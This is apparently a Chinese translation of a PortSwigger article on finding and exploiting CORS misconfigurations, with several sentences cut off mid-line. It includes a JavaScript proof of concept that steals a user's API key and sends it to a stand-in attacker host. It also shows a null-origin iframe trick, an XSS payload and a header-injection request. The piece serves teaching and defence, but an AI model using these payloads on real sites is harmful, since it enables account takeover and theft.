Exploiting CORS misconfigurations for Bitcoins and bounties

mss**** / 2019-09-14 10:50:50 / 浏览数 2304 渗透测试 渗透测试 顶(0) 踩(0)

原文地址：https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties?tdsourcetag=s_pcqq_aiomsg

在本文中，我将展示如何识别和利用配置错误的CORS。本文内容摘自AppSec USA大会上的演讲内容，并做了相应的提炼。如果您的时间比较充裕(或阅读本文时遇到了难以理解的内容)的话，我强烈建议您查看相关的幻灯片并观看相关视频。

What is CORS? (Cross Origin Resource Sharing)

跨域资源共享(CORS)是这样一种技术，网站可以通过它来降低浏览器的同源策略的严格程度，从而实现不同网站之间的跨域通信。过去，该技术经常被Web API使用，但在现代复杂的网站中，也经常看到它的身影。众所周知，某些CORS配置一旦失误，是带来严重的后果；与此同时，与该配置相关的许多细节及其具体含义很容

CORS for hackers

我们知道，网站可以通过发送如下所示的HTTP响应头部来启用CORS机制：

```
Access-Control-Allow-Origin: https://example.com
```

这实际上就是允许上面指定的源（域）通过用户的浏览器中向其他服务器发送跨域请求并读取响应——而正常情况下，同源策略会阻止这些请求。默认情况下，发送这些请求

```
Access-Control-Allow-Credentials: true
```

这就建立了信任关系——因此，如果example.com存在XSS漏洞，那么漏洞的影响将会扩散。

Hidden in plain sight

如上所示，在信任单个源的情况下，还是很容易指定的。然而，如果我们需要信任多个源的话，那该怎么办呢？按照相关规范的建议，我们只需将其放入一个以空格分隔的列

```
Access-Control-Allow-Origin: http://foo.com http://bar.net
```

然而，没有浏览器真正支持这种做法。

有时候，我们想要利用通配符来指定信任的所有子域，例如：

```
Access-Control-Allow-Origin: *.portswigger.net
```

但这也行不通。因为这里要么给出一个完整的域名，要么只给出单个通配符*——表示允许任意域名。

实际上，CORS自身也提供了一个隐藏的安全措施。如果您想完全禁用SOP并将自己的网站"暴露"给所有人，可以使用下面的头部组合：

```
Access-Control-Allow-Origin: *\
Access-Control-Allow-Credentials: true
```

这样的话，我们就会在浏览器控制台中收到以下错误消息：

> Cannot use wildcard in Access-Control-Allow-Origin when credentials flag is true.（即当凭据标志为true时，在Access-Control-Allow-Origin中不能使用通配符。）

实际上，相关规范中提到了这个异常，并且Mozilla的文档支持也有所述及：

> 在响应凭证请求时，服务器必须指定域，并且不能使用通配符

换句话说，使用通配符可以有效地禁用Allow-Credentials头部。

由于这些限制，许多服务器以编程方式根据用户提供的Origin值来生成`Access-Control-Allow-Origin`头部。这是最常见的一种CORS漏洞。当我们发现HTTP响应带有

Credentials and bitcoins

因此，许多网站都是从用户输入中获得允许跨域访问的域名的。那么，这会不会导致安全隐患呢？于是，我决定评估一些漏洞赏金网站并从中寻找答案。请注意，虽然这些网
Evan Johnson's finding
的发现，即许多应用程序在做出响应之前，并没有对源进行检查，同时，我还找到了一个易受攻击的比特币交易所（遗憾的是，该交易所不愿意公开其名称）：

```
GET /api/requestApiKey HTTP/1.1\
Host: <redacted>\
Origin: https://fiddle.jshell.net\
Cookie: sessionid=...

HTTP/1.1 200 OK\
Access-Control-Allow-Origin: https://fiddle.jshell.net\
```

```
Access-Control-Allow-Credentials: true

{"[private API key]"}
```

与此同时，我还建立了一POC代码，用于证明窃取用户的私有API密钥是一件多么轻而易举的事情：

```
var req = new XMLHttpRequest();\
req.onload = reqListener;\
req.open('get','https://btc-exchange/api/requestApiKey',true);\
req.withCredentials = true;\
req.send();

function reqListener() {\
   location='//atttacker.net/log?key='+this.responseText;\
};
```

在获取用户的API密钥后，我就可以禁用帐户的通知功能，并启用2FA以将其锁定，这样就可以将其比特币转移到任意地址。由此看来，头部配置错误是一种非常严重的安全

此外，对于某些网站来说，当对源进行验证以确定是否应该信任它时，常常会遇到经典的URL解析错误。例如，有一个网站（不妨称之为advisor.com）完全信任以advisor

The null origin

如果您对上面的内容非常关心的话，很可能想知道什么情况下Origin的值为null。按照相关规范的说法，重定向会触发这种情况，此外，根据stackoverflow上的某些帖子

```
GET /reader?url=zxcvbn.pdf\
Host: docs.google.com\
Origin: null

HTTP/1.1 200 OK\
Acess-Control-Allow-Origin: null\
Access-Control-Allow-Credentials: true
```

此外，该问题还涉及第三方比特币交易所。这对攻击者来说再好不过了，因为任何网站都可以通过沙箱化的iframe来轻松获得值为null的Obtain头部:

```
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>*cors stuff here*</script>'></ifr
```

借助于一系列的CORS请求，攻击者就可以窃取用户钱包的加密备份，然后立即展开离线蛮力破解，就能得到该钱包的密码了。如果用户的密码强度不高的话，他们的比特币

更加要命的是，这种特殊的错误配置非常常见——只要你肯找，就肯定能找到。实际上，只要选用null关键字，这就注定要出问题的，因为在某些应用程序中，如果没有配

```
Access-Control-Allow-Origin: null
```

这……

Breaking parsers

我们知道，大多数网站都是通过基本的字符串操作来验证Origin头部的，但有些网站却会将其解析为URL。这项研究最初发布三年后，Bitwis3发表了一种攻击解析器漏洞的
characters）的容忍度。对于Safari来说，这面是一个有效的URL：

```
http://example.com%60.hackxor.net/static/cors.html
```

并且，发自该URL的CORS请求将包含：

```
Origin: http://example.com`.hackxor.net/
```

如果一个站点选择解析这个头部，它可能会认为这个主机名是example.com并反射它，这样的话，我们就能够攻击Safari用户——即使该站点使用的是受信任主机名的白名

Breaking HTTPS

在这项研究中，我还发现了另外两个流行的白名单在实现方面存在的漏洞，并且这些漏洞通常都是伴生的。其中，第一个漏洞是轻率地将所有子域都列入白名单所致——甚至

第二个常见漏洞是无法限制源协议。如果一个网站是通过HTTPS访问的，同时还乐于接受来自http://wherever的CORS交互的话，那么攻击者一旦发起主动中间人（MIT
Strict Transport Security功能和cookie的secure属性在防止这种攻击方面的作用几乎可以忽略不计。对于这种攻击的具体过程，请参阅我的演讲文稿。

Abusing CORS without credentials

我们已经看到，启用凭证后，CORS将变得非常危险。如果没有凭证，许多攻击将无计可施；这意味着，无法使用用户的cookie，这样的话，让用户的浏览器发送请求，与自

一个值得注意的例外是，当受害者的网络位置作为一种身份验证的时候。这种情况下，您可以使用受害者的浏览器作为代理来绕过基于IP的身份验证，进而得以访问Intranet

Vary: origin

如果您仔细阅读CORS规范中的"实现方面的注意事项"部分就会发现，它要求开发人员在动态生成`Access-Control-Allow-Origin`头部时，同时指定HTTP头部`Vary: Origin`。

这听起来可能很简单，但是很多人都忘了下面这句涉及W3C自身的名言：

> 我必须说，即使W3C都没能正确配置其服务器，所以，我很难相信会有更多网站迅速支持CORS。
>
> - Reto Gmür

如果我们忽视这个忠告，结果会怎样呢？大多数情况下，人们就是这样做的。然而，在适当的情况下，它可能导致一些相当严重的攻击。

Client-Side cache poisoning

有时候，我们会遇到含有反射型XSS漏洞的页面，并且该漏洞位于自定义HTTP头部中。假设该网页并没有对响应该自定义头部的内容进行编码：

```
GET / HTTP/1.1\
Host: example.com\
X-User-id: <svg/onload=alert(1)>

HTTP/1.1 200 OK\
Access-Control-Allow-Origin: *\
Access-Control-Allow-Headers: X-User-id\
Content-Type: text/html\
...\
Invalid user: <svg/onload=alert(1)>
```

如果不借助CORS的话，该漏洞是无法利用的，因为没有办法让某人的浏览器跨域发送`X-User-id`头部。使用CORS后，我们就可以让他们发送这种请求。当然，就其本身来

Server-side cache poisoning

当万事俱备的时候，我们就能通过HTTP头部注入技术，利用服务器端缓存中毒来创建存储型XSS漏洞了。

如果应用程序会响应`Origin`头部，并且不检查它是否为`\r`之类的非法字符的话，那么，我们实际上就获得了一个针对IE/Edge浏览器用户的HTTP头部注入漏洞，因为Intern
Explorer和Edge浏览器会将`\r\n■0x0d■`视为有效的HTTP头部终止符：

```
GET / HTTP/1.1\
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`

Internet Explorer■■■■■■■

`HTTP/1.1 200 OK\
Access-Control-Allow-Origin: z\
Content-Type: text/html; charset=UTF-7
```

不过，这个漏洞是无法直接利用的，因为攻击者无法让某人的网络浏览器发送这种畸形的头部；然而，我们可以利用Burp
Suite手动构造这种请求，然后，服务器端缓存很可能会保存相应的响应，并将其提供给其他人。我们使用的payload会将页面的字符集改为`UTF-7`，这一招对构造XSS漏洞来

Good intentions and bad results

最初，我并没想到动态生成`Access-Control-Allow-Origin`头部的网站的数量是如此之多。之所以出现这种情况，可能是CORS的两个主要限制所致——既不允许在单个

浏览器的另一个可改进的地方在于，不妨将通配符+凭证异常应用于域为`null`的情形。目前，使用`null`的域的危险性要远甚于使用通配符的域，尽管很多人会对此感到非常

其他浏览器也可以尝试阻止我发明的"反向混合内容"攻击——HTTP站点使用CORS从HTTPS站点窃取数据。不过，我还不是很清楚这会造成什么样的后果。

简单性和安全性原本是可以相辅相成的，但是，由于浏览器不支持声明多个域，从而将复杂性直接转移到了开发人员那里，从而带来了严重的恶果。我认为，这主要归咎于规

Conclusion

CORS是一种功能强大技术，使用时需要格外谨慎，因为，危险的攻击方法并不总是需要精湛的技能和错综复杂的攻击链——通常情况下，只需要对规范有基本的了解和一点
Suite的扫描器已经能够识别并报告文中讨论的所有缺陷了。

上一篇：N1CTF2019 sql_man... 下一篇：登陆页面渗透测试常见的几种思路与总结！
1. 0 条回复
   - 动动手指，沙发就是你的了！

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板